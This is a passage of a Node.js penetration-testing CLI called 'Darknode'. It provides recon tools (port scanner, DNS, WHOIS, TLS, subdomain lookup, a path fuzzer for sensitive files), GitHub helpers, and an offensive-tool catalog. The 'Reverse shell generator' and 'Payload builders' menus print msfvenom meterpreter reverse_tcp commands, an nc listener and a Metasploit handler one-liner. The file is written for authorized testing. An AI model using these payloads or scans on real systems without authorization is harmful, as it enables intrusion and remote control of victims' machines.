darknode.js

#!/usr/bin/env node
"use strict";
/*!
 * Darknode — Terminal Edition
 * AI-powered security platform CLI for Windows and Linux.
 * Uses only Node.js built-ins. Copyright (c) 2026 Darknode. All rights reserved.
 * Use only on systems you own or are explicitly authorized to test.
 */
const net = require("net");
const tls = require("tls");
const http = require("http");
const https = require("https");
const { execFile, spawn } = require("child_process");
const crypto = require("crypto");
const readline = require("readline");
const os = require("os");
const dnsp = require("dns").promises;
const VERSION = "2.45.0";

// ---- backward compat: accept old SENTINEL_* env vars as DARKNODE_* ----
for (const k of Object.keys(process.env)) { if (k.startsWith("SENTINEL_") && !process.env["DARKNODE_" + k.slice(9)]) process.env["DARKNODE_" + k.slice(9)] = process.env[k]; }

// ---------- colors ----------
const useColor = process.stdout.isTTY && !process.env.NO_COLOR;
let tuiActive = false; // set while the full-screen TUI owns the terminal, so the global SIGINT handler defers to the TUI's own cleanup
const A = { reset: "\x1b[0m", b: "\x1b[1m", dim: "\x1b[2m", cyan: "\x1b[36m", green: "\x1b[32m", red: "\x1b[31m", yellow: "\x1b[33m", mag: "\x1b[35m", gray: "\x1b[90m", blue: "\x1b[34m" };
const p = (code, s) => (useColor ? code + s + A.reset : s);
const cyan = (s) => p(A.cyan, s), green = (s) => p(A.green, s), red = (s) => p(A.red, s), yellow = (s) => p(A.yellow, s), gray = (s) => p(A.gray, s), bold = (s) => p(A.b, s), mag = (s) => p(A.mag, s), blue = (s) => p(A.blue, s), dim = (s) => p(A.dim, s);

const { frameDiff, wordHi } = require("./lib/cli/diff"); // terminal render helpers (lib/diff.js)
const { loopDecision, clampRounds, loopPrompt } = require("./lib/nexus/loop"); // autonomous /loop controller (lib/loop.js)
const { CMD_MAP } = require("./lib/cli/registry"); // data-driven command registry (lib/registry.js)
const { totp, secondsRemaining } = require("./lib/toolkit/totp"); // TOTP 2FA codes (lib/totp.js)

// ---------- data ----------
const { SERVICES } = require("./lib/toolkit/ports"); // port<->service map, used by scan (lib/ports.js)
const { digests, genPass } = require("./lib/toolkit/hashing"); // hash digests + password gen (lib/hashing.js)
const { COMMAND_GROUPS, renderCommands, documentedVerbs } = require("./lib/cli/reference"); // help catalog = single source of truth (lib/reference.js)
// Documented darknode verbs NOT bridged into the Nexus TUI as /commands: they
// block (server/listener), prompt for input, or already have a richer in-TUI
// handler. Everything else documented becomes a slash command automatically.
const NEXUS_NO_BRIDGE = new Set(["nexus", "code", "ai", "serve", "listen", "login", "setup", "git", "lab", "api"]);
const { parsePorts, idHash, parseCve } = require("./lib/toolkit/scanutil"); // security-console core logic (lib/scanutil.js)

const { SHELLS, revshell } = require("./lib/toolkit/revshell"); // reverse-shell payloads (lib/revshell.js)

const { CHEATS } = require("./lib/toolkit/cheats"); // command cheat-sheets by topic (lib/cheats.js)

const TOOLS = [
  ["nmap", "Recon", "sudo apt install -y nmap"],
  ["masscan", "Recon", "sudo apt install -y masscan"],
  ["gobuster", "Web", "sudo apt install -y gobuster"],
  ["ffuf", "Web", "sudo apt install -y ffuf"],
  ["nuclei", "Web", "go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"],
  ["sqlmap", "Web", "sudo apt install -y sqlmap"],
  ["hydra", "Passwords", "sudo apt install -y hydra"],
  ["hashcat", "Passwords", "sudo apt install -y hashcat"],
  ["john", "Passwords", "sudo apt install -y john"],
  ["metasploit", "Exploit", "sudo apt install -y metasploit-framework"],
  ["impacket", "Post-ex", "pipx install impacket"],
  ["crackmapexec", "Post-ex", "pipx install crackmapexec"],
];

// ---------- helpers ----------
function banner() {
  const art = [
    "  ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗ ██████╗ ██████╗ ███████╗",
    "  ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔═══██╗██╔══██╗██╔════╝",
    "  ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║██║   ██║██║  ██║█████╗  ",
    "  ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██║   ██║██║  ██║██╔══╝  ",
    "  ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║╚██████╔╝██████╔╝███████╗",
    "  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═════╝ ╚══════╝",
  ];
  // smooth vertical cyan → violet → magenta gradient (256-color, falls back to plain)
  const grad = ["38;5;51", "38;5;45", "38;5;44", "38;5;99", "38;5;134", "38;5;170"];
  console.log("");
  if (useColor) art.forEach((l, i) => console.log("\x1b[1;" + grad[i] + "m" + l + "\x1b[0m"));
  else art.forEach((l) => console.log(l));
  console.log("  " + gray("╭─ ") + bold(cyan("security console")) + gray(" · terminal edition · ") + mag("v" + VERSION) + gray(" · ") + gray(os.platform() + "/" + os.arch()));
  console.log("  " + gray("╰─ ") + dim("only what you own or are authorized to test.") + "\n");
}
const rl = () => readline.createInterface({ input: process.stdin, output: process.stdout });
function ask(q) { return new Promise((res) => { const r = rl(); r.question(cyan("  " + q + " "), (a) => { r.close(); res(a.trim()); }); }); }
// Claude-Code-style bordered chat input box.
function chatInput() {
  return new Promise((res) => {
    const W = 58;
    process.stdout.write(cyan("  ╭─ ") + gray("you") + cyan(" " + "─".repeat(W - 6) + "╮") + "\n");
    const r = rl();
    r.question(cyan("  │ ") + mag("› "), (a) => {
      r.close();
      process.stdout.write(cyan("  ╰" + "─".repeat(W) + "╯") + "\n\n");
      res(a.trim());
    });
  });
}
function h1(t) { console.log("\n  " + bold(cyan("▌ " + t)) + "\n"); }
function ok(s) { return green("● ") + s; }
function copyHint(cmd) { console.log("  " + cmd); }

// ---------- port scanner ----------
function scan(host, ports, timeout = 900, conc = 250) {
  return new Promise((resolve) => {
    const open = []; let idx = 0, done = 0;
    const total = ports.length;
    const tick = () => { if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); process.stdout.write("  " + gray(`scanned ${done}/${total} · ${open.length} open`)); } };
    const probe = (port) => new Promise((r) => {
      const s = new net.Socket(); let fin = false, banner = "";
      const end = (isOpen) => { if (fin) return; fin = true; try { s.destroy(); } catch (_) {}
        if (isOpen) { open.push(port); if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); } console.log("  " + green(String(port).padEnd(7)) + (SERVICES[port] || "").padEnd(12) + gray(banner.slice(0, 60))); }
        r(); };
      s.setTimeout(timeout);
      s.once("connect", () => { s.once("data", (d) => { banner = d.toString("utf8").replace(/[^\x20-\x7e]/g, " ").trim(); end(true); }); setTimeout(() => end(true), 150); });
      s.once("timeout", () => end(false));
      s.once("error", () => end(false));
      try { s.connect(port, host); } catch (_) { end(false); }
    });
    const worker = async () => { while (true) { const i = idx++; if (i >= total) return; await probe(ports[i]); done++; tick(); } };
    console.log("  " + gray(`PORT   SERVICE     BANNER`));
    Promise.all(Array.from({ length: Math.min(conc, total) }, worker)).then(() => {
      if (process.stdout.isTTY) { readline.clearLine(process.stdout, 0); readline.cursorTo(process.stdout, 0); }
      console.log("  " + ok(`${open.length} open port${open.length === 1 ? "" : "s"} on ${host}`));
      if (open.length) console.log("  " + gray("nmap: ") + `nmap -sV -sC -p ${open.join(",")} ${host}`);
      resolve(open);
    });
  });
}

// ---------- encoders / hashes ----------
const { ENC } = require("./lib/toolkit/encoders"); // encode/decode op map, shared with the menu (lib/encoders.js)
function hashes(s) { return digests(s).map(([a, hex]) => "  " + a.padEnd(8) + cyan(hex)).join("\n"); }

// ---------- recon: DNS / WHOIS / headers ----------
async function dnsLookup(host) {
  host = host.replace(/^https?:\/\//, "").split("/")[0];
  const kinds = [["A", "resolve4"], ["AAAA", "resolve6"], ["MX", "resolveMx"], ["NS", "resolveNs"], ["TXT", "resolveTxt"], ["CNAME", "resolveCname"]];
  const out = [];
  for (const [label, fn] of kinds) { try { for (const v of (await dnsp[fn](host)) || []) out.push([label, label === "MX" ? v.priority + " " + v.exchange : Array.isArray(v) ? v.join("") : v]); } catch (_) {} }
  try { const a = await dnsp.resolve4(host); if (a[0]) for (const ptr of (await dnsp.reverse(a[0]).catch(() => [])) || []) out.push(["PTR", ptr]); } catch (_) {}
  return out;
}
function whoisAsk(server, query) {
  return new Promise((res) => { const s = net.connect(43, server); let data = ""; s.setTimeout(9000);
    s.on("connect", () => s.write(query + "\r\n")); s.on("data", (d) => (data += d.toString()));
    s.on("end", () => res(data)); s.on("timeout", () => { try { s.destroy(); } catch (_) {} res(data); }); s.on("error", () => res(data)); });
}
async function whois(query) {
  query = query.replace(/^https?:\/\//, "").split("/")[0];
  let t = await whoisAsk("whois.iana.org", query);
  const ref = (t.match(/refer:\s*(\S+)/i) || [])[1] || (t.match(/whois:\s*(\S+)/i) || [])[1];
  if (ref) { const m = await whoisAsk(ref, query); if (m && m.trim()) t = m; }
  return t.trim();
}
const SEC = [["strict-transport-security", "HSTS"], ["content-security-policy", "CSP"], ["x-frame-options", "X-Frame-Options"], ["x-content-type-options", "X-Content-Type-Options"], ["referrer-policy", "Referrer-Policy"], ["permissions-policy", "Permissions-Policy"]];
async function headers(url) {
  if (!/^https?:\/\//.test(url)) url = "https://" + url;
  // engagement mode: a redirect could leave scope, so never follow one
  const r = await fetch(url, { redirect: process.env.DARKNODE_ENGAGEMENT ? "manual" : "follow" }).catch((e) => ({ __err: e.message }));
  if (r.__err) return { err: r.__err };
  const h = {}; r.headers.forEach((v, k) => (h[k] = v));
  return { status: r.status, server: h.server || "?", h };
}

function certInspect(host) {
  host = host.replace(/^https?:\/\//, "").split("/")[0];
  return new Promise((res) => {
    let done = false; const fin = (v) => { if (done) return; done = true; res(v); };
    const s = tls.connect({ host, port: 443, servername: host, rejectUnauthorized: false, timeout: 9000 }, () => {
      const c = s.getPeerCertificate(false), flat = (o) => Object.entries(o || {}).map(([k, v]) => k + "=" + v).join(", ");
      fin({ ok: true, protocol: s.getProtocol(), cipher: (s.getCipher() || {}).name, subject: flat(c.subject), issuer: flat(c.issuer), valid_from: c.valid_from, valid_to: c.valid_to, san: (c.subjectaltname || "").replace(/DNS:/g, ""), serial: c.serialNumber, fp: c.fingerprint256, daysLeft: c.valid_to ? Math.round((new Date(c.valid_to) - Date.now()) / 86400000) : null });
      s.end();
    });
    s.on("error", (e) => fin({ ok: false, error: e.message }));
    s.on("timeout", () => { try { s.destroy(); } catch (_) {} fin({ ok: false, error: "timeout" }); });
  });
}
async function subs(domain) {
  domain = domain.replace(/^https?:\/\//, "").split("/")[0].toLowerCase();
  const ctrl = new AbortController(), to = setTimeout(() => ctrl.abort(), 20000);
  try {
    const r = await fetch("https://crt.sh/?q=%25." + encodeURIComponent(domain) + "&output=json", { signal: ctrl.signal, headers: { "User-Agent": "Darknode" } });
    const txt = await r.text(); let data;
    try { data = JSON.parse(txt); } catch { return { err: "crt.sh is busy — try again in a moment" }; }
    const set = new Set();
    for (const e of data) for (const n of String(e.name_value || "").split("\n")) { const s = n.trim().toLowerCase(); if (s && !s.includes("*") && (s === domain || s.endsWith("." + domain))) set.add(s); }
    return [...set].sort();
  } catch (e) { return { err: e.name === "AbortError" ? "crt.sh timed out" : e.message }; }
  finally { clearTimeout(to); }
}

// ---------- content fuzzer ----------
const COMMON_PATHS = ["admin", "administrator", "login", "logout", "register", "dashboard", "api", "api/v1", "v1", "v2", ".git", ".git/config", ".env", "config", "config.php", "wp-admin", "wp-login.php", "wp-content", "phpmyadmin", "robots.txt", "sitemap.xml", "backup", "backups", "backup.zip", "db", "database", "dump.sql", "test", "dev", "staging", "uploads", "images", "assets", "js", "css", "includes", "tmp", "old", ".htaccess", ".htpasswd", "server-status", "status", "health", "healthz", "metrics", "actuator", "actuator/health", "swagger", "swagger-ui", "api-docs", "graphql", "console", "debug", "info.php", "phpinfo.php", "README.md", "CHANGELOG.md", "LICENSE", ".DS_Store", "web.config", "crossdomain.xml", ".well-known/security.txt", "users", "user", "account", "profile", "settings", "private", "secret", "internal", "portal", "cpanel", "webmail", "mail", "ftp", "git", "svn", ".svn", "vendor", "composer.json", "package.json", "Dockerfile", "docker-compose.yml", ".gitignore", "error_log", "logs", "log"];
function headReq(url, to) {
  return new Promise((res) => {
    let u; try { u = new URL(url); } catch (_) { return res(null); }
    const lib = u.protocol === "https:" ? https : http;
    const req = lib.request(u, { method: "GET", timeout: to || 8000, rejectUnauthorized: false, headers: { "User-Agent": "Darknode" } }, (r) => { const o = { status: r.statusCode, len: r.headers["content-length"] || "", loc: r.headers["location"] || "" }; r.destroy(); res(o); });
    req.on("timeout", () => { req.destroy(); res(null); });
    req.on("error", () => res(null));
    req.end();
  });
}
async function fuzz(base, wlFile) {
  if (!base) { console.log("  " + red("usage: fuzz <url> [wordlist-file]")); return; }
  if (!/^https?:\/\//i.test(base)) base = "http://" + base;
  base = base.replace(/\/+$/, "");
  let words = COMMON_PATHS;
  if (wlFile) { try { words = require("fs").readFileSync(wlFile, "utf8").split("\n").map((s) => s.trim()).filter(Boolean); } catch (_) { console.log("  " + red("can't read " + wlFile)); return; } }
  console.log("  " + gray("fuzzing " + base + " (" + words.length + " paths)"));
  let idx = 0, found = 0;
  const color = (s) => s < 300 ? green : s < 400 ? cyan : (s === 401 || s === 403) ? yellow : gray;
  const probe = async (w) => { const r = await headReq(base + "/" + w.replace(/^\//, ""), 8000); if (r && r.status && r.status !== 404) { found++; console.log("  " + color(r.status)(String(r.status)) + "  /" + w.replace(/^\//, "") + gray(r.loc ? "  -> " + r.loc : (r.len ? "  " + r.len + "b" : ""))); } };
  const worker = async () => { while (true) { const i = idx++; if (i >= words.length) return; await probe(words[i]); } };
  await Promise.all(Array.from({ length: Math.min(25, words.length) }, worker));
  console.log("  " + ok(found + " path" + (found === 1 ? "" : "s") + " found on " + base));
}

// ---------- CVE search (NVD) ----------
async function cveSearch(q) {
  q = (q || "").trim();
  if (!q) { console.log("  " + red("usage: cve <keyword or CVE-id>")); return; }
  const isId = /^CVE-\d{4}-\d+$/i.test(q);
  const url = "https://services.nvd.nist.gov/rest/json/cves/2.0?" + (isId ? "cveId=" + q.toUpperCase() : "keywordSearch=" + encodeURIComponent(q)) + "&resultsPerPage=15";
  console.log("  " + gray("searching NVD..."));
  const r = await fetch(url, { headers: { "User-Agent": "Darknode" } }).catch((e) => ({ __err: e.message }));
  if (r.__err) { console.log("  " + red(r.__err)); return; }
  if (!r.ok) { console.log("  " + red(r.status + (r.status === 403 ? " — NVD rate limit, wait a moment" : " " + r.statusText))); return; }
  const d = await r.json();
  if (!d.vulnerabilities || !d.vulnerabilities.length) { console.log("  " + gray("no results")); return; }
  console.log("  " + gray(d.totalResults + " total, showing " + Math.min(15, d.vulnerabilities.length)));
  d.vulnerabilities.slice(0, 15).forEach((v) => { const c = parseCve(v); const tag = c.score ? " [" + c.sev + " " + c.score + "]" : ""; console.log("  " + cyan(c.id) + yellow(tag) + " " + c.desc.slice(0, 78)); });
}

// ---------- GitHub (system git + token) ----------
function sh(args, opts) { return new Promise((res) => execFile("git", args, { maxBuffer: 1e7, ...opts }, (err, stdout, stderr) => res({ err, stdout, stderr }))); }
const ghToken = () => process.env.DARKNODE_GH_TOKEN || process.env.GITHUB_TOKEN || "";
const ghAuth = (url, t) => (t && /^https:\/\//i.test(url)) ? url.replace(/^https:\/\//i, "https://" + t + "@") : url;
const ghScrub = (s, t) => String(s || "").split(t || " __none__").join("***").trim();
async function gitClone(url) {
  if (!/^https:\/\//i.test(url)) { console.log("  " + red("use an https repo URL")); return; }
  const t = ghToken(), name = (url.split("/").pop() || "repo").replace(/\.git$/, "");
  console.log("  " + gray("cloning " + name + "..."));
  const r = await sh(["clone", ghAuth(url, t), name]);
  if (r.err) { console.log("  " + red(ghScrub(r.stderr || r.err.message, t))); return; }
  await sh(["-C", name, "remote", "set-url", "origin", url]);
  console.log("  " + ok("cloned into ./" + name));
}
async function gitPush(msg) {
  const t = ghToken();
  await sh(["add", "-A"]);
  await sh(["-c", "user.name=Darknode", "-c", "user.email=darknode@local", "commit", "-m", msg || "Update via Darknode"]);
  const remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
  const branch = (await sh(["rev-parse", "--abbrev-ref", "HEAD"])).stdout.trim();
  const p = await sh(["push", ghAuth(remote, t), "HEAD:" + branch]);
  console.log("  " + (p.err ? red(ghScrub(p.stderr || p.err.message, t)) : ok("pushed to " + branch)));
}
async function gitStatus() { const r = await sh(["status", "--short", "-b"]); console.log((r.stdout || r.stderr || "").trim().split("\n").map((l) => "  " + l).join("\n")); }
async function gitPull() {
  const t = ghToken(), remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
  const r = await sh(["pull", ghAuth(remote, t)]);
  console.log("  " + (r.err ? red(ghScrub(r.stderr || r.err.message, t)) : ok("pulled\n  " + (r.stdout || "").trim())));
}
async function ghApiJson(path, method, body) {
  const t = ghToken();
  const opt = { method: method || "GET", headers: { Accept: "application/vnd.github+json", "User-Agent": "Darknode" } };
  if (t) opt.headers.Authorization = "Bearer " + t;
  if (body) { opt.body = JSON.stringify(body); opt.headers["Content-Type"] = "application/json"; }
  const r = await fetch("https://api.github.com" + path, opt).catch((e) => ({ __err: e.message }));
  if (r.__err) return { err: r.__err };
  if (!r.ok) return { err: r.status + " " + r.statusText };
  return { data: await r.json() };
}
async function gitBranches() { const r = await sh(["branch", "-a"]); console.log((r.stdout || r.stderr || "").replace(/^/gm, "  ").trimEnd()); }
async function gitLog() { const r = await sh(["log", "--oneline", "-20", "--no-color"]); console.log((r.stdout || r.stderr || "no commits").replace(/^/gm, "  ").trimEnd()); }
async function gitDiff(file) { const r = await sh(file ? ["diff", "--no-color", "--", file] : ["diff", "--no-color"]); const t = (r.stdout || "").trimEnd(); console.log(t ? t : "  " + gray("no working-tree changes")); }
async function ghNewIssue(repo, title, body) {
  if (!repo || !repo.includes("/") || !title) { console.log("  " + red('usage: git issue <owner/repo> "title" ["body"]')); return; }
  const r = await ghApiJson("/repos/" + repo + "/issues", "POST", { title, body: body || "" });
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok("created #" + r.data.number) + " " + gray(r.data.html_url));
}
async function ghNewPR(title, base) {
  const remote = (await sh(["remote", "get-url", "origin"])).stdout.trim();
  const m = remote.match(/github\.com[:/]([^/]+\/[^/.]+?)(?:\.git)?$/i), repo = m && m[1];
  if (!repo) { console.log("  " + red("no github remote")); return; }
  if (!title) { console.log("  " + red('usage: git pr "title" [base]')); return; }
  const head = (await sh(["rev-parse", "--abbrev-ref", "HEAD"])).stdout.trim();
  if (!base) { const ri = await ghApiJson("/repos/" + repo); base = (ri.data && ri.data.default_branch) || "main"; }
  if (head === base) { console.log("  " + red("on base branch (" + base + ") — checkout a feature branch first")); return; }
  const r = await ghApiJson("/repos/" + repo + "/pulls", "POST", { title, head, base, body: "" });
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok("created PR #" + r.data.number) + " " + gray(r.data.html_url));
}
async function ghComment(repo, num, body) {
  if (!repo || !repo.includes("/") || !num || !body) { console.log("  " + red('usage: git comment <owner/repo> <number> "text"')); return; }
  const r = await ghApiJson("/repos/" + repo + "/issues/" + num + "/comments", "POST", { body });
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok("commented on #" + num) + " " + gray(r.data.html_url));
}
async function ghGists() {
  const r = await ghApiJson("/gists?per_page=30");
  if (r.err) { console.log("  " + red(r.err)); return; }
  if (!r.data.length) { console.log("  " + gray("no gists")); return; }
  r.data.forEach((g) => console.log("  " + (g.public ? gray("public") : yellow("secret")) + " " + (Object.keys(g.files)[0] || "gist") + gray("  " + g.html_url)));
}
async function ghNewGist(file, desc) {
  if (!file) { console.log("  " + red("usage: git gist <file> [description]")); return; }
  let content; try { content = require("fs").readFileSync(file, "utf8"); } catch (_) { console.log("  " + red("can't read " + file)); return; }
  const name = file.split(/[\\/]/).pop();
  const r = await ghApiJson("/gists", "POST", { description: desc || "", public: true, files: { [name]: { content } } });
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok("gist created") + " " + gray(r.data.html_url));
}
async function gitCheckout(name) {
  if (!name) { console.log("  " + red("usage: git checkout <branch>")); return; }
  const r = await sh(["checkout", name]);
  console.log("  " + (r.err ? red((r.stderr || r.err.message).trim()) : ok("switched to " + name)));
}
async function ghIssues(repo, kind) {
  if (!repo || !repo.includes("/")) { console.log("  " + red("usage: git " + (kind === "pulls" ? "prs" : "issues") + " <owner/repo>")); return; }
  const r = await ghApiJson("/repos/" + repo + "/" + (kind === "pulls" ? "pulls" : "issues") + "?state=open&per_page=25");
  if (r.err) { console.log("  " + red(r.err)); return; }
  const items = (kind === "pulls" ? r.data : r.data.filter((x) => !x.pull_request));
  if (!items.length) { console.log("  " + gray("none open")); return; }
  items.forEach((x) => console.log("  " + cyan((kind === "pulls" ? "PR#" : "#") + x.number) + " " + x.title + gray("  @" + (x.user ? x.user.login : "?"))));
}
async function ghReposList() {
  const r = await ghApiJson("/user/repos?sort=updated&per_page=100");
  if (r.err) { console.log("  " + red(r.err)); return; }
  r.data.forEach((x) => console.log("  " + (x.private ? yellow("private") : gray("public ")) + " " + bold(x.full_name) + gray("  " + x.clone_url)));
}
async function ghNewRepo(name) {
  if (!name) { console.log("  " + red("usage: git new <name>")); return; }
  const r = await ghApiJson("/user/repos", "POST", { name, private: true, auto_init: true });
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok("created " + r.data.full_name) + "\n  " + gray(r.data.clone_url));
}

// ---------- interactive menus ----------
async function menuScan() {
  h1("Port scanner");
  const host = await ask("host / IP:");
  if (!host) return;
  const spec = await ask("ports [top / 1-1024 / 80,443]:") || "top";
  console.log("");
  await scan(host, parsePorts(spec));
}
async function menuDns() {
  h1("DNS lookup");
  const host = await ask("domain:"); if (!host) return;
  console.log("");
  const recs = await dnsLookup(host);
  if (!recs.length) { console.log("  " + red("no records found")); return; }
  recs.forEach(([k, v]) => console.log("  " + cyan(k.padEnd(6)) + v));
}
async function menuWhois() {
  h1("WHOIS");
  const q = await ask("domain / IP:"); if (!q) return;
  console.log("\n  " + gray("querying whois..."));
  const t = await whois(q); console.log("");
  console.log(t.split("\n").slice(0, 60).map((l) => "  " + l).join("\n"));
}
async function menuHeaders() {
  h1("HTTP security headers");
  const url = await ask("url:"); if (!url) return;
  console.log("\n  " + gray("fetching..."));
  const r = await headers(url); console.log("");
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok(r.status + " · server: " + r.server));
  SEC.forEach(([k, label]) => { const on = r.h[k] !== undefined; console.log("  " + (on ? green("●") : red("●")) + " " + label.padEnd(24) + (on ? gray(String(r.h[k]).slice(0, 60)) : gray("missing"))); });
}
async function menuCert() {
  h1("TLS certificate");
  const host = await ask("host:"); if (!host) return;
  console.log("\n  " + gray("connecting..."));
  const c = await certInspect(host); console.log("");
  if (!c.ok) { console.log("  " + red(c.error)); return; }
  const d = c.daysLeft, exp = d == null ? "" : d < 0 ? red("EXPIRED " + -d + "d ago") : d < 21 ? yellow(d + "d left") : green(d + "d left");
  console.log("  " + ok(c.protocol + " · " + c.cipher + "  " + exp));
  [["Subject", c.subject], ["Issuer", c.issuer], ["Valid", c.valid_from + " -> " + c.valid_to], ["SAN", c.san], ["Serial", c.serial], ["SHA-256", c.fp]].forEach(([k, v]) => console.log("  " + cyan(k.padEnd(9)) + gray(String(v))));
}
async function menuSubs() {
  h1("Subdomains · certificate transparency");
  const dom = await ask("domain:"); if (!dom) return;
  console.log("\n  " + gray("querying crt.sh..."));
  const r = await subs(dom); console.log("");
  if (r.err) { console.log("  " + red(r.err)); return; }
  console.log("  " + ok(r.length + " subdomains"));
  r.forEach((s) => console.log("  " + s));
}
async function menuGit() {
  h1("GitHub");
  console.log("  token: " + (ghToken() ? green("set (env)") : red("not set — export DARKNODE_GH_TOKEN=ghp_...")));
  console.log("  actions: clone push pull status log diff branch checkout repos new issues prs issue pr comment gists gist\n");
  const act = await ask("action:");
  console.log("");
  if (act === "clone") { const url = await ask("repo url:"); if (url) { console.log(""); await gitClone(url); } }
  else if (act === "push") { const m = await ask("commit message:"); console.log(""); await gitPush(m); }
  else if (act === "pull") await gitPull();
  else if (act === "status") await gitStatus();
  else if (act === "branch") await gitBranches();
  else if (act === "checkout") { const b = await ask("branch:"); console.log(""); await gitCheckout(b); }
  else if (act === "log") await gitLog();
  else if (act === "diff") await gitDiff();
  else if (act === "issue") { const r = await ask("owner/repo:"); const t = await ask("title:"); console.log(""); await ghNewIssue(r, t); }
  else if (act === "repos") await ghReposList();
  else if (act === "new") { const n = await ask("repo name:"); console.log(""); await ghNewRepo(n); }
  else if (act === "issues") { const r = await ask("owner/repo:"); console.log(""); await ghIssues(r, "issues"); }
  else if (act === "prs") { const r = await ask("owner/repo:"); console.log(""); await ghIssues(r, "pulls"); }
  else if (act === "pr") { const t = await ask("title:"); console.log(""); await ghNewPR(t); }
  else if (act === "comment") { const r = await ask("owner/repo:"); const n = await ask("issue #:"); const t = await ask("comment:"); console.log(""); await ghComment(r, n, t); }
  else if (act === "gists") await ghGists();
  else if (act === "gist") { const f = await ask("file path:"); console.log(""); await ghNewGist(f); }
  else console.log("  " + red("unknown action"));
}
async function menuShell() {
  h1("Reverse shell generator");
  console.log("  langs: " + Object.keys(SHELLS).join(", ") + "\n");
  const lang = (await ask("lang [bash]:")) || "bash";
  const ip = (await ask("LHOST [10.0.0.1]:")) || "10.0.0.1";
  const port = (await ask("LPORT [4444]:")) || "4444";
  console.log("\n  " + revshell(lang, ip, port) + "\n");
  console.log("  " + gray("listener: ") + `nc -lvnp ${port}`);
}
async function menuEncode() {
  h1("Encode / decode / hash");
  console.log("  ops: b64e b64d hexe hexd urle urld hash hashid\n");
  const op = await ask("op:");
  const val = await ask("input:");
  console.log("");
  try {
    if (op === "hash") console.log(hashes(val));
    else if (op === "hashid") console.log("  " + cyan(idHash(val)));
    else if (ENC[op]) console.log("  " + cyan(ENC[op](val)));
    else console.log("  " + red("unknown op"));
  } catch (e) { console.log("  " + red("error: " + e.message)); }
}
async function menuPayloads() {
  h1("Payload builders");
  const ip = (await ask("LHOST [10.0.0.1]:")) || "10.0.0.1";
  const port = (await ask("LPORT [4444]:")) || "4444";
  console.log("");
  console.log("  " + gray("linux elf   ") + `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=${ip} LPORT=${port} -f elf -o p.elf`);
  console.log("  " + gray("windows exe ") + `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${ip} LPORT=${port} -f exe -o p.exe`);
  console.log("  " + gray("nc listener ") + `nc -lvnp ${port}`);
  console.log("  " + gray("http server ") + `python3 -m http.server 8000`);
  console.log("  " + gray("msf handler ") + `msfconsole -q -x "use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set LHOST ${ip};set LPORT ${port};run"`);
}
async function menuCheats() {
  h1("Cheat sheets");
  console.log("  topics: " + Object.keys(CHEATS).join(", ") + "\n");
  const t = await ask("topic:");
  const lines = CHEATS[t];
  console.log("");
  if (!lines) { console.log("  " + red("no such topic")); return; }
  lines.forEach((l) => console.log("  " + cyan("$ ") + l));
}
function listTools() {
  h1("Tools catalog");
  TOOLS.forEach(([n, cat, inst]) => console.log("  " + bold(n.padEnd(14)) + gray(cat.padEnd(10)) + inst));
  console.log("\n  " + gray("configure any tool with: ") + "darknode setup <name>");
}
// Auto-configure a tool: run its install command, streaming output to the terminal.
function setupTool(name) {
  return new Promise((resolve) => {
    if (!name) { console.log("  " + red("usage: darknode setup <tool>   e.g. darknode setup nmap")); return resolve(); }
    const t = TOOLS.find((x) => x[0].toLowerCase() === String(name).toLowerCase());
    if (!t) { console.log("  " + red("unknown tool. see: darknode tools")); return resolve(); }
    let inst = t[2];
    if (process.platform !== "win32" && inst.startsWith("sudo ") && process.getuid && process.getuid() !== 0 && process.env.DARKNODE_NO_PKEXEC !== "1") {
      // prefer a graphical prompt if available, else sudo will prompt in the terminal
    }
    h1("Configuring " + t[0]);
    console.log("  " + gray("first-time setup, this can take a few minutes...") + "\n  " + gray(inst) + "\n");
    const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" });
    p.on("close", (code) => { console.log("\n  " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });
    p.on("error", (e) => { console.log("  " + red("error: " + e.message)); resolve(); });
  });
}

// ---------- practice targets ----------
const PRACTICE = [
  ["dvwa", "DVWA", "SQLi / XSS / CSRF / command injection / file upload", "docker run --rm -it -p 4280:80 vulnerables/web-dvwa", "http://localhost:4280", "admin / password (then Setup > Create Database)"],
  ["juice", "OWASP Juice Shop", "OWASP Top 10 · modern JS · CTF-style", "docker run --rm -p 3000:3000 bkimminich/juice-shop", "http://localhost:3000", "register your own account"],
  ["webgoat", "OWASP WebGoat", "guided lessons · Java", "docker run --rm -p 8080:8080 -p 9090:9090 webgoat/webgoat", "http://localhost:8080/WebGoat", "register on first run"],
  ["bwapp", "bWAPP", "100+ bugs · PHP", "docker run --rm -p 8081:80 raesene/bwapp", "http://localhost:8081/install.php", "bee / bug (run /install.php once)"],
  ["mutillidae", "Mutillidae II (NOWASP)", "OWASP Top 10 · hints", "docker run --rm -p 8082:80 citizenstig/nowasp", "http://localhost:8082", "no login required"],
];
function labList() {
  h1("Practice targets");
  console.log("  " + gray("deliberately vulnerable apps — run locally with Docker. use only on systems you own.") + "\n");
  PRACTICE.forEach(([id, name, focus, cmd, url, creds]) => {
    console.log("  " + bold(cyan(id.padEnd(12))) + name);
    console.log("  " + " ".repeat(12) + gray(focus));
    console.log("  " + " ".repeat(12) + cmd);
